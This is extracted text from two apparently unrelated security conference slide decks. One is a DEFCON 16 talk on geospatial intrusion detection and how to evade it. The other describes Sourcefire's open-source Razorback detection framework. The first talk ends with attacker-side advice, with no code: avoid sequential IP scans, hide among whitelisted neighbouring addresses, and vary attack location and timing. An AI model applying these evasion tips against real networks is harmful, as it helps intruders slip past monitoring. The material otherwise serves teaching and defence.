⼄双⽅交流、学习的平台,培养安全⼈才,提升⾏业整体素 质,助推安全⽣态圈的健康发展。 官⽅⽹站: https://www.anshijia.net.cn 微信公众号:asjeiss
pdf
DEFCON 16: How to evade geospatial intrusion detection techniques Ryan W. Trost Agenda • GIS • Geospatial Intrusion Detection implementations • Geospatial Intrusion Detection methodology • Accuracy of IP -> lat/long translation • Okay…so how do I beat it? • Q&A 2 GIS • GIS (Geographic Information Systems): computer based methodology to collect, store, manipulate, retrieve, display and analyze georeferenced data. – GoogleEarth – ESRI – Intergraph – GRASS 3 GIS • Traditional GIS tools focused more on environmental issues • These days thanks to GoogleEarth and/or GoogleMaps the average Internet user is starting to be exposed to the power that mapping software unleashes. – Track a cell phone (cell tower triangulation) – Track flights in mid-air!!! 4 Cell Phone 5 Track Any Flight 6 • Multiple security firms have implemented GIS tools in their products (in varying degrees) – MeerCat (Secure Decisions) – VisCat (ETRI) – GeoSWAT 7 Where has IT security and mapping collided? 8 MeerCat Image Courtesy: John Goodall Secure Decisions 07/06/08 9 VizCat 10 GeoSWAT Geospatial Intrusion Detection • Goal: find a direct correlation between externally based network alerts by plotting their source locations on a geographic map 11 How does it work? • High-level ‘roadmap’: 1. Plot rolling time period (1 week/2 weeks/4 weeks) 2. Eliminate ‘friendlies’ to reduce IDS false positives 2.1 Geographically plot remote branches, SOHO, business partners locations by street address (very accurate in GoogleEarth) 2.2 Create an IDS alert that is triggered when a customer authenticates to a website 12 Geospatial Intrusion Detection 3. Run a clustering algorithm on plotted data • There are several different clustering algorithms to choose from: – Poisson, nearest-neighbor, Moran’s I Index, Ripley’s K Function, Getis-Ord 4. Extract network alerts within identified ‘hot- spot’ 5. Run a weight calculating algorithm to evaluate if there is a relationship between alerts • Correlating elements in an alert – Alert severity – Destination ports – Timestamp 13 1. Plot rolling timeseries 14 14 day intervals (the slow probe theory) 2. Eliminate ‘friendlies’ Map Legend = Source IDS Alert = Remote Offices or Telecommuting Residences 15 Depending on your risk comfort abilities this would eliminate ~30% of potential false positives. 3. Run a GIS clustering algorithm 16 4. Extract ‘hot-spot’ network alerts 17 5.Run a weight calculating algorithm to evaluate if there is a relationship between alerts • Insert image(s) later… 18 Accuracy translation • Vendors – IP2Location – MaxMind – Quova (wireless capabilities) • How is the translation calcuated? – Domain scrapping – Compare Traceroutes – Strategic partnerships with ISPs – Strategic partnerships with downloading FTP sites 19 Example of ‘less’ accurate translation 20 Okay…how do I beat it? • As with many (if not all) defenses there are always loopholes: – Most scanning/enumeration tools primarily do sequential scans of IP address – DO NOT USE SEQUENTIAL IPs TO ATTACK A VICTIM – Map remote locations and use a tool to extract neighboring IP addresses – which will hopefully get extracted when eliminating ‘friendlies’ – Attack from random geographic locations and with varying times 21 Deconstruct the translation file • Insert image of deconstructed application 22 Q&A Back to the Guinness tap… 23
pdf
1 Overview What is Razorback? 3 Razorback Is… ● An Open Source framework (GPLv2) to enable advanced processing of data and detection of events ● Able to get data as it traverses the network ● Able to get data after it’s received by a server ● Able to perform advanced event correlation ● …Our answer to an evolving threat landscape 4 The Challenge is Different ● Attacks have switched from server attacks to client attacks ● Common attack vectors are easily obfuscated ▸ Scripting languages are infinitely variable ▸ Compression obscures attack signatures ▸ And more! ● File formats are made by insane people ● Back-channel systems are increasingly difficult to detect 5 The Problem With Real-Time ● Inline systems must emulate the processing of thousands of desktops ● Detection of many backchannels is most successful with statistical evaluation of network traffic ● Deep file inspection requires too much time to process! 6 Fill the Gap ● A system is needed that can handle varied detection needs ● A system is needed that extensible, open and scalable ● A system is needed that facilitates incident response, not just triggers it Architecture What makes it tick? 8 Framework Goals  Provide entry for any arbitrary data type  Provide routing of input data to any number of relevant data processors  Provide alerting to any framework-capable system  Provide verbose, detailed logging  Make intelligent use of all data 9 Razorback is comprised of… ● A collection of elements working together ● Each element performs a discrete task ● Elements are tied together via the Dispatcher ● Nugget types:  Correlation  Defense Update  Workstation  Data Collection  Data Detection/Analysis  Output  Intelligence 10 The System Dispatcher Collection Nugget Detection Nugget Detection Nugget Detection Nuggets Database Output Nugget Output Nugget Output Nuggets Collection Nugget Collection Nuggets Other Types of Nuggets 11 The Dispatcher  Handles all communication between nuggets  Handles database interactions  Database driven  APIs are available for easy nugget development 12 Database ● Configuration information ● Event information ● Contextual information ● Metadata ● Provides a wealth of information for correlating events and activities 13 General Nugget Functionality ● Dispatcher Registration ▸ Types of data handled ▸ Types of output generated ● UUIDs ▸ Identifier of nuggets ▸ Type of nugget ▸ Types of data handled and/or provided ▸ Allows for easy addition and removal of elements 14 Collection Nugget ● Capture data ▸ From the network ▸ From a network device directly ▸ From log files ● Contact dispatcher for handling ▸ Has this data been evaluated before? ▸ Send the data to the Dispatcher 15 Detection Nugget ● Handles incoming data from Collection Nuggets ● Splits incoming data into logical sub-blocks ▸ Requests additional processing of sub-blocks ● Provides alerting feedback to the Dispatcher 16 Output Nugget ● Receives alert notification from Dispatcher ● If alert is of a handled type, additional information is requested: ▸ Short Data ▸ Long Data ▸ Complete Data Block ▸ Normalized Data Block ● Sends output data to relevant system 17 Intelligence Nugget ● Does not generate “alerts” per se ● Generates data that could potentially be used later for trending or event correlation 18 Correlation Nugget ● Interacts with the database directly ● Provides ability to: ▸ Detect trending data ▸ Identify “hosts of interest” ▸ Track intrusions through the network ▸ Initiate defense updates 19 Defense Update Nugget ● Receives update instructions from dispatcher ● Performs dynamic updates of network device(s) ● Update multiple devices ● Update multiple devices of different types! ● Notifies dispatcher of defense update actions 20 Workstation Nugget ● Authenticates on a per-analyst basis ● Provides analyst with ability to: ▸ Manage nugget components ▸ Manage alerts and events ● Consolidate events ● Add custom notes ● Set review flags ● Delete events ▸ Review system logs Concept of Operations How do they work together? 22 Registration Phase ● Nuggets are brought online ● Nuggets register with the dispatcher: ▸ Their existence ▸ The data types they handle ▸ How many threads they can run at once ● Dispatcher tracks via routing table ● Dispatcher hands back a unique “nugget id” 23 Hi! I exist! Dispatcher Detection Nugget Detection Nugget Collection Nugget Output Nugget registerNugget() registerNugget() registerNugget() registerNugget() 24 Traffic comes in… Data Collector Dispatcher Database Web traffic SMTP traffic API Query Database Local Cache Check cache Data/ Metadata Threads out COLLECTOR 25 Dispatcher farms out detection… Dispatcher Detection Nugget Javascript Analysis PDF Analysis Database Alert/Event data Collected data Detection results Embedded sub-component data Detection Nugget 26 Output nuggets are informed… Dispatcher Output Nugget Output Nugget “I come bearing gifts” “I come bearing gifts” “No, thanks” “Yes, please!” Delicious Alert Data 27 Cache ● We want to avoid reprocessing files and sub- components we’ve already looked at ● MD5 and size are stored for files and subcomponents both bad and good ● But, after an update to any detection nugget, all known-good entries are thereby declared “tainted” 28 Why Taint known good? ● Why taint known good? ▸ Previously analyzed files may be found to be bad ● Why not just remove those entries? ▸ We don’t want to rescan all files ▸ If we see an alert for a previously scanned file matching the same MD5 and size, we can alert retroactively Case Study: SMTP What happens when an email is received? 30 Handling SMTP Traffic ● A PDF with a malicious embedded EXE is attached to an email ● How does the system work to tell us about this malicious attachment? ● Components in use ● Track the data Current Capabilities Nuggets that are currently available. Many more to come, and you can help! 32 ● Snort-as-a-Collector (SaaC) ▸ SMTP mail stream capture ▸ Web capture ▸ DNS capture ● Custom post-mortem debugger ▸ Traps applications as they crash ▸ Sends the file that triggered the crash to Dispatcher ▸ Sends the metadata of the crash to the Dispatcher Collection Nuggets 33 Detection Nuggets ● Zynamics PDF Dissector ▸ Deobfuscation and normalization of objects ▸ Target known JavaScript attacks ● JavaScript Analyzer (w/ Zynamics) ▸ Search for shellcode in unescaped blocks ▸ Look for heap spray ▸ Look for obvious obfuscation possibilities www.zynamics.com/dissector.html 34 Detection Nuggets (cont’d…) ● Shellcode Analyzer (w/ libemu) ▸ Detection and execution of shellcode ▸ Look for code blocks that unwrap shellcode ▸ Win32 api hooking ● Determine the function call ● Capture the arguments ▸ Provide alerts that include shellcode action libemu.carnivore.it 35 Detection Nuggets (cont’d…) ● Office Cat Nugget ▸ Full Office file parsing ▸ Vuln-centric detection against known threats ● SWF Nugget ▸ Decompresses and analyzes flash ▸ Detects known flash threats 36 Detection Nuggets (cont’d…) ● ClamAV Nugget ▸ Analyze any format ▸ Signature- and pattern-based detection ▸ Updatable signature DB ▸ Can further serve as a collector ▸ Can issue defense updates 37 Output Nuggets ● Deep Alerting System ▸ Provide full logging output of all alerts ▸ Write out each component block ▸ Include normalized view of documents as well ● Maltego Interface ▸ Provide data transformations targeting the Razorback database www.paterva.com 38 Workstation Nuggets ● CLI functionality to query: ▸ Alerts, events, and incidents ▸ Nugget status ▸ Display metadata ▸ Run standardized report set Programming Interfaces How are nuggets created? 40 Custom API ● API provided for easy creation of nuggets ● The API provides functionality for: ▸ Registering a new nugget ▸ Sending and receiving data ▸ Cache and database interaction ● Threading is handled automagically! 41 General Functions ● registerNugget() ▸ Type of nugget ▸ Type(s) of data handled ▸ Connection information ● registerHandler() ▸ Specifies handler function ▸ Type(s) of data handled for that function ▸ Can register multiple handlers per nugget 42 Collection and Detection Nuggets ● sendData() ▸ Sends captured data to the dispatcher ● sendMetaData() ▸ Adds any additional information about the collected or parsed data ● sendAlert() ▸ Specific alert data to be sent to Output Nuggets 43 Intelligence Nuggets ● Functions provide access to modify database ● Types of Intelligence Nuggets supported: ▸ Email ▸ Web ▸ DNS ● Easy to add new protocols ▸ Create database schema ▸ Provide function for accessing that schema 44 What if I don’t like C? ● Nuggets can be written in any language ● Wrappers providing interfaces to the API functions are provided ▸ Ruby ▸ Python ▸ Perl ▸ If you can wrap C, you can create an API Conclusion Let’s wrap this up! 46 Razorback Framework… ● Extensible. Open. Modular. ● All functions are separated and distributed ● Core is written in C, APIs available for other languages as well ● Limitless possibilities! 47 This is great! How can I help? ● See a need for a nugget? Write one and send it in! ● Full source code available on Sourceforge ▸ http://sourceforge.net/projects/razorbacktm ▸ http://sourceforge.net/projects/nuggetfarm ● Bug tracking via Sourceforge Trac 48 Questions?? ● Patrick Mullen ▸ [email protected] ▸ phoogazi on Twitter ● Ryan Pentney ▸ [email protected] ● Sourcefire VRT ▸ labs.snort.org ▸ vrt-sourcefire.blogspot.com ▸ VRT_Sourcefire on Twitter Razorback Team: Alex Kambis Alex Kirk Alain Zidouemba Christopher McBee Kevin Miklavcic Lurene Grenier Matt Olney Matt Watchinski Nigel Houghton Patrick Mullen Ryan Pentney Sojeong Hong
pdf